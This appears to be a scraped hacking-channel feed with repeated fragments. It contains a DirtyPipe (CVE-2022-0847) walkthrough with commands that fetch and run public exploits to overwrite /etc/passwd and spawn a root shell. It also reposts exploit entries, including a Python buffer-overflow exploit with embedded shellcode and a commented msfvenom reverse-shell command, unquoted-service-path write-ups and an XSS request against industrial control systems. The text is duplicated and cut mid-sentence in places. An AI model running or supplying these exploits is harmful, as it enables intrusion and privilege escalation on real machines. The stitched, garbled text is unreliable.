Hacking Articles Tips Tricks Videos Tutorials
Hacking Articles Linux Privilege Escalation: DirtyPipe (CVE 2022-0847) IntroductionCVE 2022-0847 is a privilege escalation vulnerability discovered by Max Kellerman present in Linux Kernel itself post versions 5.8 which allows overwriting data in arbitrary…
ptor fd_in to the file descriptor fd_out, where one of the file descriptors must refer to a pipe.
Format: splice(FD0, offset FD0, FD1, offset FD1, length, flags);
Thus, by providing in the FD1 to write to a file and reading from FD0, splice can write into files.
* Write function: write() in C can assist a user to write into any file and when splice is used, write() can provide input to a pipe too.
Format: write(FD1, buffer to write, size of buffer); Vulnerability Discovery/ SimulationMax discovered through the corrupt access logs that due to a pipe error, unintentional data is being written into the zip file. He simulated the same:
Step 1: open a file “foo” and write “AAAAA” in the file. Pseudocode is like so:
int main()
{
for(;;) write(1, "AAAAA", 5);
}
Step 2: create a pipe at offset 0 leading to foo.txt at the WRITE end.
Step 3: Splice and Write to this pipe another string “BBBBB”
Step 4: Page cache gets overwritten
Pseudocode for steps 2 through 4 is as follows:
int main()
{
for(;;)
{
splice(0,0,1,0,2,0);
write(1,"BBBBB",5);
}
Discovery: String “BBBBB” gets written to the file foo even though the second process had no permission to write to the file foo.
What causes this: Function PIPE_BUF_FLAG_CAN_MERGE had a missing flag initialization.
“By injecting PIPE_BUF_FLAG_CAN_MERGE into a page cache reference, it is possible to overwrite data in the page cache, simply by writing new data into the pipe prepared in a special way.” ExploitationIf you’ve understood the discovery and simulation of the vulnerability in pipe, exploitation is quite easy to follow. You see, till now we have learnt how writing to a file by providing input through pipe can cause arbitrary file write. Thus, exploitation is as follows:
* Create a pipe
* Fill the pipe with arbitrary data (to set the PIPE_BUF_FLAG_CAN_MERGE flag in all ring entries)
* Drain the pipe
* Splice the data from the target file (opened in ReadOnly mode) into the pipe from just before the target offset.
* Write arbitrary data into the pipe. This will now overwrite Page Cache as PIPE_BUF_FLAG_CAN_MERGE is set!
It works because page cache is always writeable by Kernel and writing to a pipe never checks for any permissions.
Max gave a sample exploit code in the original writeup which works just fine however we won’t be using that here.
Here, we will demonstrate two methods that will pipe the data into “/etc/passwd” file and grant us sudo rights. You can follow GTFObins to understand the method. Demonstration: Method 1Liam’s tool called “traitor” has recently been updated to include an exploit for the CVE 2022-0847. First, let’s see if our user “ignite” is a normal user.
https://blogger.googleusercontent.com/img/a/AVvXsEjZbYBRGTRoZNwMAWdSfBdIAOADboZ5ahhajiqVz8GXCOQXKpnej7SHu_M5OEQVAfwImXu7RMRlbn6BxmO_jspJbLPqS7YFIEl-4yHcbllaYdjhOsPQyN4Wesm6r-AT4lplCfpwD2P7XJEtebTyEdAuyWv6vvJ3RMrSfkRiC-Js898mo0X5hKWIwzyvPw=s16000
Perfect, a low-priv user. To download the ELF executable, you can:
wget https://github.com/liamg/traitor/releases/download/v0.0.14/traitor-amd64
https://blogger.googleusercontent.com/img/a/AVvXsEiSxvuD2_YRvx_zDgvuuyxKz927-N4Pao8CRPTL7zLcbHDXQPUTeX7PFgL6hy6JJFQXyiyXF9dwC7jZjp6wO3i_3RWM8V16X_CYXeLyjSMnritYndLXQTlCYNBjWlGGMnNgqdskfhp4Stp16hxgW4cx-vU6DuYe3AVT8iiDlabuSGbZM9pi2QU4bsjeHg=s16000
Now, you need to give it execute permissions and run it to detect if the current OS is vulnerable by DirtyPipe or not. As you can see, Kernel 5.13 is vulnerable to the exploit!
chmod 777 traitor-amd64
./traitor-amd64
https://blogger.googleusercontent.com/img/a/AVvXsEjqWXNZKHG7bDzUfN2gr6hzl1Qjht-0YIFb9uzHLqqt-MU7HQfV-9WSZoVn3ZDeV3Q-zmLeEldhEvoMDW2MHZj--_c67Sii6yJjuKbVwZmSatIlP_ZprBA129OrQBBMq4ieKqgR6WD27y7HBf_5E-40yAvH2hFblQQP4flczkAS1R2llJDCTbz4BboYgA=s16000
To run the exploit, we can simply run this co[...]
___________________________
@hacking_Attack
@Hacking_Video
Format: splice(FD0, offset FD0, FD1, offset FD1, length, flags);
Thus, by providing in the FD1 to write to a file and reading from FD0, splice can write into files.
* Write function: write() in C can assist a user to write into any file and when splice is used, write() can provide input to a pipe too.
Format: write(FD1, buffer to write, size of buffer); Vulnerability Discovery/ SimulationMax discovered through the corrupt access logs that due to a pipe error, unintentional data is being written into the zip file. He simulated the same:
Step 1: open a file “foo” and write “AAAAA” in the file. Pseudocode is like so:
int main()
{
for(;;) write(1, "AAAAA", 5);
}
Step 2: create a pipe at offset 0 leading to foo.txt at the WRITE end.
Step 3: Splice and Write to this pipe another string “BBBBB”
Step 4: Page cache gets overwritten
Pseudocode for steps 2 through 4 is as follows:
int main()
{
for(;;)
{
splice(0,0,1,0,2,0);
write(1,"BBBBB",5);
}
Discovery: String “BBBBB” gets written to the file foo even though the second process had no permission to write to the file foo.
What causes this: Function PIPE_BUF_FLAG_CAN_MERGE had a missing flag initialization.
“By injecting PIPE_BUF_FLAG_CAN_MERGE into a page cache reference, it is possible to overwrite data in the page cache, simply by writing new data into the pipe prepared in a special way.” ExploitationIf you’ve understood the discovery and simulation of the vulnerability in pipe, exploitation is quite easy to follow. You see, till now we have learnt how writing to a file by providing input through pipe can cause arbitrary file write. Thus, exploitation is as follows:
* Create a pipe
* Fill the pipe with arbitrary data (to set the PIPE_BUF_FLAG_CAN_MERGE flag in all ring entries)
* Drain the pipe
* Splice the data from the target file (opened in ReadOnly mode) into the pipe from just before the target offset.
* Write arbitrary data into the pipe. This will now overwrite Page Cache as PIPE_BUF_FLAG_CAN_MERGE is set!
It works because page cache is always writeable by Kernel and writing to a pipe never checks for any permissions.
Max gave a sample exploit code in the original writeup which works just fine however we won’t be using that here.
Here, we will demonstrate two methods that will pipe the data into “/etc/passwd” file and grant us sudo rights. You can follow GTFObins to understand the method. Demonstration: Method 1Liam’s tool called “traitor” has recently been updated to include an exploit for the CVE 2022-0847. First, let’s see if our user “ignite” is a normal user.
https://blogger.googleusercontent.com/img/a/AVvXsEjZbYBRGTRoZNwMAWdSfBdIAOADboZ5ahhajiqVz8GXCOQXKpnej7SHu_M5OEQVAfwImXu7RMRlbn6BxmO_jspJbLPqS7YFIEl-4yHcbllaYdjhOsPQyN4Wesm6r-AT4lplCfpwD2P7XJEtebTyEdAuyWv6vvJ3RMrSfkRiC-Js898mo0X5hKWIwzyvPw=s16000
Perfect, a low-priv user. To download the ELF executable, you can:
wget https://github.com/liamg/traitor/releases/download/v0.0.14/traitor-amd64
https://blogger.googleusercontent.com/img/a/AVvXsEiSxvuD2_YRvx_zDgvuuyxKz927-N4Pao8CRPTL7zLcbHDXQPUTeX7PFgL6hy6JJFQXyiyXF9dwC7jZjp6wO3i_3RWM8V16X_CYXeLyjSMnritYndLXQTlCYNBjWlGGMnNgqdskfhp4Stp16hxgW4cx-vU6DuYe3AVT8iiDlabuSGbZM9pi2QU4bsjeHg=s16000
Now, you need to give it execute permissions and run it to detect if the current OS is vulnerable by DirtyPipe or not. As you can see, Kernel 5.13 is vulnerable to the exploit!
chmod 777 traitor-amd64
./traitor-amd64
https://blogger.googleusercontent.com/img/a/AVvXsEjqWXNZKHG7bDzUfN2gr6hzl1Qjht-0YIFb9uzHLqqt-MU7HQfV-9WSZoVn3ZDeV3Q-zmLeEldhEvoMDW2MHZj--_c67Sii6yJjuKbVwZmSatIlP_ZprBA129OrQBBMq4ieKqgR6WD27y7HBf_5E-40yAvH2hFblQQP4flczkAS1R2llJDCTbz4BboYgA=s16000
To run the exploit, we can simply run this co[...]
___________________________
@hacking_Attack
@Hacking_Video
Hacking Articles Tips Tricks Videos Tutorials
ptor fd_in to the file descriptor fd_out, where one of the file descriptors must refer to a pipe. Format: splice(FD0, offset FD0, FD1, offset FD1, length, flags); Thus, by providing in the FD1 to write to a file and reading from FD0, splice can write into…
mmand:
./traitor-amd64 --exploit kernel:CVE-2022-0847
whoami
id
https://blogger.googleusercontent.com/img/a/AVvXsEhTJNt8w0i3kBKYrN7n7UpMIl6ILuM2p_zh5tNzVPj-GMiVlfwcwopgYQ2oCxzz_t-vTgmhk6Xec2ANV5wQXMkUIjXeLT3-IdIqK36XnwZxLUvpSIg__sA6FE8rHIhVgtv2khA9sJ2Q6TOIdEPKyaEeABllXaJiY_PSQAaqhZG3w5j4x4vVQRUUhLSicA=s16000
And just like that, we have achieved escalated privileges! The exploit ran, injected data in /etc/passwd which makes my current user root, then spawned a shell automatically! Demonstration: Method 2Based on the same guidelines, Arinerron created an exploit in C too. It creates a backup of /etc/passwd, injects data and then restores and spawns a shell as root!
To download, compile and run this you can run the following commands:
git clone https://github.com/Arinerron/CVE-2022-0847-DirtyPipe-Exploit.git
cd CVE-2022-0847-DirtyPipe-Exploit
./compile.sh
./exploit
https://blogger.googleusercontent.com/img/a/AVvXsEjw2vyTNVMXAgnKMHg0UxgM_A-01n1bU8B2zOG6LbrejFra80HXgAmakE9dBbw1QajaFHp0vMRzN8XPMtskEMZ_bwklzV5uXKZX0fTe5iNbgD_O5_zuRTAgYgkirzez_Uz7ptKiTpe8vrGLjQJk87DaHZKX2UpMR84Y_7h6tvfC9XogRsGKbZglic3cdg=s16000
And just like that, we are now root! Patch statusThe vulnerability has been fixed in Linux 5.16.11, 5.15.25, and 5.10.102 with new patches ongoing. ConclusionDirtyPipe is a high impact vulnerability with a low complexity attack vector. Organizations must immediately patch their systems with the latest Kernel patches as and when they are rolled out. Hope you liked the article and thanks for reading it.
Author: Harshit Rajpal is an InfoSec researcher and left and right brain thinker. Contact here
The post Linux Privilege Escalation: DirtyPipe (CVE 2022-0847) appeared first on Hacking Articles.
___________________________
@hacking_Attack
@Hacking_Video
./traitor-amd64 --exploit kernel:CVE-2022-0847
whoami
id
https://blogger.googleusercontent.com/img/a/AVvXsEhTJNt8w0i3kBKYrN7n7UpMIl6ILuM2p_zh5tNzVPj-GMiVlfwcwopgYQ2oCxzz_t-vTgmhk6Xec2ANV5wQXMkUIjXeLT3-IdIqK36XnwZxLUvpSIg__sA6FE8rHIhVgtv2khA9sJ2Q6TOIdEPKyaEeABllXaJiY_PSQAaqhZG3w5j4x4vVQRUUhLSicA=s16000
And just like that, we have achieved escalated privileges! The exploit ran, injected data in /etc/passwd which makes my current user root, then spawned a shell automatically! Demonstration: Method 2Based on the same guidelines, Arinerron created an exploit in C too. It creates a backup of /etc/passwd, injects data and then restores and spawns a shell as root!
To download, compile and run this you can run the following commands:
git clone https://github.com/Arinerron/CVE-2022-0847-DirtyPipe-Exploit.git
cd CVE-2022-0847-DirtyPipe-Exploit
./compile.sh
./exploit
https://blogger.googleusercontent.com/img/a/AVvXsEjw2vyTNVMXAgnKMHg0UxgM_A-01n1bU8B2zOG6LbrejFra80HXgAmakE9dBbw1QajaFHp0vMRzN8XPMtskEMZ_bwklzV5uXKZX0fTe5iNbgD_O5_zuRTAgYgkirzez_Uz7ptKiTpe8vrGLjQJk87DaHZKX2UpMR84Y_7h6tvfC9XogRsGKbZglic3cdg=s16000
And just like that, we are now root! Patch statusThe vulnerability has been fixed in Linux 5.16.11, 5.15.25, and 5.10.102 with new patches ongoing. ConclusionDirtyPipe is a high impact vulnerability with a low complexity attack vector. Organizations must immediately patch their systems with the latest Kernel patches as and when they are rolled out. Hope you liked the article and thanks for reading it.
Author: Harshit Rajpal is an InfoSec researcher and left and right brain thinker. Contact here
The post Linux Privilege Escalation: DirtyPipe (CVE 2022-0847) appeared first on Hacking Articles.
___________________________
@hacking_Attack
@Hacking_Video
Hacking Articles Tips Tricks Videos Tutorials
Photo
Exploit Collector
Wondershare Dr.Fone 12.0.18 Unquoted Service Path
https://2.bp.blogspot.com/-ZkI_NEmJcds/WWlvjl_lr_I/AAAAAAAAIQo/28S1w7dyZRc0PebCQs4RPEz7Silw5ZbpgCLcBGAs/s1600/h95.png
Wondershare Dr.Fone version 12.0.18 suffers from an unquoted service path vulnerability.
MD5 |
Download
Source:packetstormsecurity.com
___________________________
@hacking_Attack
@Hacking_Video
Wondershare Dr.Fone 12.0.18 Unquoted Service Path
https://2.bp.blogspot.com/-ZkI_NEmJcds/WWlvjl_lr_I/AAAAAAAAIQo/28S1w7dyZRc0PebCQs4RPEz7Silw5ZbpgCLcBGAs/s1600/h95.png
Wondershare Dr.Fone version 12.0.18 suffers from an unquoted service path vulnerability.
MD5 |
d2bd7e51b2c7dc3c2d2833a92f108286Download
# Exploit Title: Wondershare Dr.Fone 12.0.18 - 'Wondershare InstallAssist' Unquoted Service Path
# Discovery by: Mohamed Alzhrani
# Discovery Date: 2022-03-08
# Vendor Homepage: https://www.wondershare.com/
# Software Link : https://download.wondershare.com/drfone_full3360.exe
# Tested Version: 12.0.18
# Vulnerability Type: Unquoted Service Path
# Tested on OS: Windows 10 Pro x64 es
# Step to discover Unquoted Service Path:
C:\Users\0xMaz>cmd /c wmic service get name,displayname,pathname,startmode |findstr /i "auto" |findstr /i /v "c:\windows\\" |findstr /i /v """
Wondershare Install Assist Service Wondershare InstallAssist C:\ProgramData\Wondershare\Service\InstallAssistService.exe Auto
# Service info:
C:\Users\0xMaz>sc qc "Wondershare InstallAssist"
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: Wondershare InstallAssist
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\ProgramData\Wondershare\Service\InstallAssistService.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : Wondershare Install Assist Service
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem
#Exploit:
The local user able to insert their code in the system root path undetected by the OS or other security applications where it could potentially be executed during application startup or reboot. If successful, the local user's code would execute with the elevated privileges of the application.
Source:packetstormsecurity.com
___________________________
@hacking_Attack
@Hacking_Video
Kitploit
Wondershare Dr.Fone 12.0.18 Unquoted Service Path
Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.
Hacking Articles Tips Tricks Videos Tutorials
Photo
Exploit Collector
Cobian Backup 0.9 Unquoted Service Path
https://3.bp.blogspot.com/-DuI_c3FaBwQ/WWlvaHZ97uI/AAAAAAAAIO8/N3071iSnuSkvxUt6NQQ_hoJeYx39DTurQCLcBGAs/s1600/h61.png
Cobian Backup version 0.9 suffers from an unquoted service path vulnerability.
MD5 |
Download
Source:packetstormsecurity.com
___________________________
@hacking_Attack
@Hacking_Video
Cobian Backup 0.9 Unquoted Service Path
https://3.bp.blogspot.com/-DuI_c3FaBwQ/WWlvaHZ97uI/AAAAAAAAIO8/N3071iSnuSkvxUt6NQQ_hoJeYx39DTurQCLcBGAs/s1600/h61.png
Cobian Backup version 0.9 suffers from an unquoted service path vulnerability.
MD5 |
8a350781e7c989524376eb206eb37c79Download
# Exploit Title: Cobian Backup 0.9 - Unquoted Service Path
# Date: 06/03/2022
# Exploit Author: Hejap Zairy
# Vendor Homepage: https://www.cobiansoft.com//
# Software Link: https://www.cobiansoft.com/download.php/
# Version:0.9.93
# Tested: Windows 10 Pro x64 es
C:\Users\Hejap>sc qc CobianReflectorService
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: CobianReflectorService
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\Program Files\Cobian Reflector\Cobian.Reflector.Service.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : Cobian Reflector Engine
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem
#Exploit:
A successful attempt would require the local user to be able to insert their code in the system root path undetected by the OS or other security applications where it could potentially be executed during application startup or reboot. If successful, the local user's code would execute with the elevated privileges of the application.
Source:packetstormsecurity.com
___________________________
@hacking_Attack
@Hacking_Video
Kitploit
Cobian Backup 0.9 Unquoted Service Path
Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.
Exploit Collector
Printix Client 1.3.1106.0 Privilege Escalation
___________________________
@hacking_Attack
@Hacking_Video
Printix Client 1.3.1106.0 Privilege Escalation
___________________________
@hacking_Attack
@Hacking_Video
Kitploit
Printix Client 1.3.1106.0 Privilege Escalation
Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.
Hacking Articles Tips Tricks Videos Tutorials
Photo
Exploit Collector
Audio Conversion Wizard 2.01 Buffer Overflow
https://3.bp.blogspot.com/-GFxdnkVY0Lw/WWlvniKY45I/AAAAAAAAIRU/77qCibw7l9gJ7HKa7eHBCfMI2N56gMPzwCLcBGAs/s1600/hack_img6.png
Audio Conversion Wizard version 2.01 suffers from a buffer overflow vulnerability.
MD5 |
Download
Source:packetstormsecurity.com
___________________________
@hacking_Attack
@Hacking_Video
Audio Conversion Wizard 2.01 Buffer Overflow
https://3.bp.blogspot.com/-GFxdnkVY0Lw/WWlvniKY45I/AAAAAAAAIRU/77qCibw7l9gJ7HKa7eHBCfMI2N56gMPzwCLcBGAs/s1600/hack_img6.png
Audio Conversion Wizard version 2.01 suffers from a buffer overflow vulnerability.
MD5 |
978510096075149301075a00e788b731Download
# Exploit Title: Audio Conversion Wizard v2.01 - Buffer Overflow
# Exploit Author: Hejap Zairy
# Date: 03.07.2022
# Software Link: https://www.litexmedia.com/acwizard.exe
# Tested Version: v2.01
# Tested on: Windows 10 64bit
# 1.- Run python code : 0day-Hejap_Zairy.py
# 2.- Open 0day_Hejap.txt and copy All content to Clipboard
# 3.- Open Audio Conversion Wizard and press Enter Code
# 4.- Paste the Content of 0day_Hejap.txt into the 'Enter Code'
# 5.- Click 'OK'
# Author Code By Hejap Zairy
#!/usr/bin/env python
from pwn import *
buffer = "\x41" * 1016
push_esp = p32(0x1004dbff) #push esp ret ret from id3lib.dll
nops = "\x90" * 15#515 tshhh theardlooo love Malware
#msfvenom --arch x64 windows/x64/shell_reverse_tcp lhost=ip lport=443 -f python -e x64/shikata_ga_nai -b "\x00\x0a\x0d\x20"
#msfvenom --arch x64 -p windows/x64/messagebox TEXT="0day Hejap Zairy" -f python -e x64/shikata_ga_nai EXITFUNC=thread -b "\x00\x0a\x0d\x20"
buf = b""
buf += b"\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xd0\x00\x00\x00"
buf += b"\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b"
buf += b"\x52\x60\x3e\x48\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e"
buf += b"\x48\x8b\x72\x50\x3e\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
buf += b"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9"
buf += b"\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x3e\x48\x8b\x52"
buf += b"\x20\x3e\x8b\x42\x3c\x48\x01\xd0\x3e\x8b\x80\x88\x00"
buf += b"\x00\x00\x48\x85\xc0\x74\x6f\x48\x01\xd0\x50\x3e\x8b"
buf += b"\x48\x18\x3e\x44\x8b\x40\x20\x49\x01\xd0\xe3\x5c\x48"
buf += b"\xff\xc9\x3e\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9"
buf += b"\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0"
buf += b"\x75\xf1\x3e\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd6"
buf += b"\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0\x66\x3e\x41\x8b"
buf += b"\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e\x41\x8b"
buf += b"\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41"
buf += b"\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0"
buf += b"\x58\x41\x59\x5a\x3e\x48\x8b\x12\xe9\x49\xff\xff\xff"
buf += b"\x5d\x49\xc7\xc1\x00\x00\x00\x00\x3e\x48\x8d\x95\x1a"
buf += b"\x01\x00\x00\x3e\x4c\x8d\x85\x2b\x01\x00\x00\x48\x31"
buf += b"\xc9\x41\xba\x45\x83\x56\x07\xff\xd5\xbb\xe0\x1d\x2a"
buf += b"\x0a\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28"
buf += b"\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72"
buf += b"\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x30\x64\x61\x79"
buf += b"\x20\x48\x65\x6a\x61\x70\x20\x5a\x61\x69\x72\x79\x00"
buf += b"\x4d\x65\x73\x73\x61\x67\x65\x42\x6f\x78\x00"
padding ="C" * (len(buffer) - len(push_esp) - len(nops))
payload = buffer + push_esp + nops + buf + padding
try:
with open("0day_Hejap.txt","wb") as f:
print("[+] Creating %s Shellcode 0day-Hejap payload.." %len(payload))
f.write(payload)
f.close()
print("[+] File created!")
except:
print("[-]File cannot be created")
Source:packetstormsecurity.com
___________________________
@hacking_Attack
@Hacking_Video
Kitploit
Audio Conversion Wizard 2.01 Buffer Overflow
Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.
Hacking Articles Tips Tricks Videos Tutorials
Photo
Exploit Collector
DEOS AG OPEN 710/810 Cross Site Scripting
https://2.bp.blogspot.com/-4wIBcK0z7y4/WWlvHXARtRI/AAAAAAAAILc/wzdKaT4lYrUxiztYZaNra08YExR9F67-wCLcBGAs/s1600/h14.png
DEOS AG OPEN 710 and 810 control systems suffer from a cross site scripting vulnerability.
MD5 |
Download
Source:packetstormsecurity.com
___________________________
@hacking_Attack
@Hacking_Video
DEOS AG OPEN 710/810 Cross Site Scripting
https://2.bp.blogspot.com/-4wIBcK0z7y4/WWlvHXARtRI/AAAAAAAAILc/wzdKaT4lYrUxiztYZaNra08YExR9F67-wCLcBGAs/s1600/h14.png
DEOS AG OPEN 710 and 810 control systems suffer from a cross site scripting vulnerability.
MD5 |
b1e4e5ef43de46b40557c5685bdd9bd6Download
# Title: DEOS control systems GmbH - OPEN 710/810 EMS > Cross Site Scripting Vulnerability
# Dork: app:"DEOS AG OPEN EMS System ics device httpd"
# Vendor page: https://www.deos-ag.com/en/
# Exploit Author: n4pst3r
# Tested on: Debian
POST /cgi-bin/option.cgi?function=2 HTTP/1.1
Content-Length: 83
Content-Type: application/x-www-form-urlencoded
Referer: http://localhost/cgi-bin/cosmobdf.cgi?function=%271&session=0&grafik=0
Host: localhost
Connection: Keep-alive
Accept-Encoding: gzip;deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML; like Gecko) Chrome/41.0.2228.0 Safari/537.21
Accept: */*
devcode_form=&lastcode_form=&newcode=94102_
Source:packetstormsecurity.com
___________________________
@hacking_Attack
@Hacking_Video
Kitploit
DEOS AG OPEN 710/810 Cross Site Scripting
Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.
Master_Librarian - A Simple Tool To Audit Unix/*BSD/Linux System Libraries To Find Public Security Vulnerabilities
http://www.kitploit.com/2022/03/masterlibrarian-simple-tool-to-audit.html
___________________________
@hacking_Attack
@Hacking_Video
http://www.kitploit.com/2022/03/masterlibrarian-simple-tool-to-audit.html
___________________________
@hacking_Attack
@Hacking_Video
KitPloit - PenTest & Hacking Tools
Master_Librarian - A Simple Tool To Audit Unix/*BSD/Linux System Libraries To Find Public Security Vulnerabilities
Tool to search public vulnerabilities on local libraries
by CoolerVoid
Example:
$ python3 master_librarian.py -t csv
$ python3 master_librarian.py -t txt -l 3
Master librarian v0.3
Tool to search public vulnerabilities on local libraries
by CoolerVoid
Search pitfalls in operational system local packages
xres 1.2.0
cairo-ps 1.16.0
xf86vidmodeproto 2.3.1
libcrypto 1.1.1f
damageproto 1.2.1
libffi 3.3
xfixes 5.0.3
Integer overflow in X.org libXfixes before 5.0.3 on 32-bit platforms might allow remote X servers to gain privileges via a length value of INT_MAX, which triggers the client to stop reading data and get out of sync.
https://nvd.nist.gov/vuln/detail/CVE-2016-7944
7.5 HIGH
system.web.extensions.design_1.0 1.0.61025.0
kbproto 1.0.7
gio-unix-2.0 2.64.6
gdk-x11-2.0 2.24.32
sqlite3 3.31.1
cairo-png 1.16.0
lib pcre2-posix 10.34
wcf 6.8.0.105
dmxproto 2.3.1
cairo-script 1.16.0
xext 1.3.4
x11 1.6.9
system.web.mvc 1.0.0.0
mono-cairo 6.8.0.105
cecil 6.8.0.105
udev 245
The default configuration of udev on Linux does not warn the user before enabling additional Human Interface Device (HID) functionality over USB, which allows user-assisted attackers to execute arbitrary programs via crafted USB data, as demonstrated by keyboard and mouse data sent by malware on a smartphone that the user connected to the computer.
https://nvd.nist.gov/vuln/detail/CVE-2011-0640
6.9 MEDIUM
plymouth-pretrigger.sh in dracut and udev, when running on Fedora 13 and 14, sets weak permissions for the /dev/systty device file, which allows remote authenticated users to read terminal data from tty0 for local users.
https://nvd.nist.gov/vuln/detail/CVE-2010-4176
4.0 MEDIUM
xkeyboard-config 2.29
bash-completion 2.10
yelp-xsl 3.36.0
xdamage 1.1.5
libgdiplus 6.0.4
icu-uc 66.1
xcomposite 0.4.5
harfbuzz 2.6.4
pixman-1 0.38.4
pthread-stubs 0.4
systemd 245
An exploitable denial-of-service vulnerability exists in Systemd 245. A specially crafted DHCP FORCERENEW packet can cause a server running the DHCP client to be vulnerable to a DHCP ACK spoofing attack. An attacker can forge a pair of FORCERENEW and DCHP ACK packets to reconfigure the server.
https://nvd.nist.gov/vuln/detail/CVE-2020-13529
2.9 LOW
systemd through v245 mishandles numerical usernames such as ones composed of decimal digits or 0x followed by hex digits, as demonstrated by use of root privileges when privileges of the 0x0 user account were intended. NOTE: this issue exists because of an incomplete fix for CVE-2017-1000082.
https://nvd.nist.gov/vuln/detail/CVE-2020-13776
6.2 MEDIUM
A heap use-after-free vulnerability was found in systemd before version v245-rc1, where asynchronous Polkit queries are performed while handling dbus messages. A local unprivileged attacker can abuse this flaw to crash systemd services or potentially execute code and elevate their privileges, by sending specially crafted dbus messages.
https://nvd.nist.gov/vuln/detail/CVE-2020-1712
4.6 MEDIUM
expat 2.2.9
pangocairo 1.44.7
xdmcp 1.1.3
libpcreposix 8.39
ruby-2.7 2.7.0
glib-2.0 2.64.6
gnome-system-tools 3.0.0
xinerama 1.1.4
nunit 2.6.3
gmp 6.2.0
libevent 2.1.11-stable
xbuild12 12.0
xorg-sgml-doctools 1.11
presentproto 1.2
gdk-pixbuf-2.0 2.40.0
inputproto 2.3.2
libssl 1.1.1f
xcb-shm 1.14
gdk-2.0 2.24.32
libpng16 1.6.37
bigreqsproto 1.1.2
icu-io 66.1
xextproto 7.3.0
libthai 0.1.28
libbsd-overlay 0.10.0
mount 2.34.0
gio-2.0 2.64.6
adwaita-icon-theme 3.36.1
fontconfig 2.13.1
xrandr 1.5.2
monosgen-2 6.8.0.105
mono 6.8.0.105
xf86d gaproto 2.1
dri3proto 1.2
libpcre 8.39
pangoxft 1.44.7
blkid 2.34.0
libsepol 3.0
libevent_openssl 2.1.11-stable
uuid 2.34.0
gmodule-2.0 2.64.6
graphite2 3.0.1
libfl 2.6.4
zlib 1.2.11
cairo-pdf 1.16.0
ruby 2.7.0
___________________________
@hacking_Attack
@Hacking_Video
by CoolerVoid
Example:
$ python3 master_librarian.py -t csv
$ python3 master_librarian.py -t txt -l 3
Master librarian v0.3
Tool to search public vulnerabilities on local libraries
by CoolerVoid
Search pitfalls in operational system local packages
xres 1.2.0
cairo-ps 1.16.0
xf86vidmodeproto 2.3.1
libcrypto 1.1.1f
damageproto 1.2.1
libffi 3.3
xfixes 5.0.3
Integer overflow in X.org libXfixes before 5.0.3 on 32-bit platforms might allow remote X servers to gain privileges via a length value of INT_MAX, which triggers the client to stop reading data and get out of sync.
https://nvd.nist.gov/vuln/detail/CVE-2016-7944
7.5 HIGH
system.web.extensions.design_1.0 1.0.61025.0
kbproto 1.0.7
gio-unix-2.0 2.64.6
gdk-x11-2.0 2.24.32
sqlite3 3.31.1
cairo-png 1.16.0
lib pcre2-posix 10.34
wcf 6.8.0.105
dmxproto 2.3.1
cairo-script 1.16.0
xext 1.3.4
x11 1.6.9
system.web.mvc 1.0.0.0
mono-cairo 6.8.0.105
cecil 6.8.0.105
udev 245
The default configuration of udev on Linux does not warn the user before enabling additional Human Interface Device (HID) functionality over USB, which allows user-assisted attackers to execute arbitrary programs via crafted USB data, as demonstrated by keyboard and mouse data sent by malware on a smartphone that the user connected to the computer.
https://nvd.nist.gov/vuln/detail/CVE-2011-0640
6.9 MEDIUM
plymouth-pretrigger.sh in dracut and udev, when running on Fedora 13 and 14, sets weak permissions for the /dev/systty device file, which allows remote authenticated users to read terminal data from tty0 for local users.
https://nvd.nist.gov/vuln/detail/CVE-2010-4176
4.0 MEDIUM
xkeyboard-config 2.29
bash-completion 2.10
yelp-xsl 3.36.0
xdamage 1.1.5
libgdiplus 6.0.4
icu-uc 66.1
xcomposite 0.4.5
harfbuzz 2.6.4
pixman-1 0.38.4
pthread-stubs 0.4
systemd 245
An exploitable denial-of-service vulnerability exists in Systemd 245. A specially crafted DHCP FORCERENEW packet can cause a server running the DHCP client to be vulnerable to a DHCP ACK spoofing attack. An attacker can forge a pair of FORCERENEW and DCHP ACK packets to reconfigure the server.
https://nvd.nist.gov/vuln/detail/CVE-2020-13529
2.9 LOW
systemd through v245 mishandles numerical usernames such as ones composed of decimal digits or 0x followed by hex digits, as demonstrated by use of root privileges when privileges of the 0x0 user account were intended. NOTE: this issue exists because of an incomplete fix for CVE-2017-1000082.
https://nvd.nist.gov/vuln/detail/CVE-2020-13776
6.2 MEDIUM
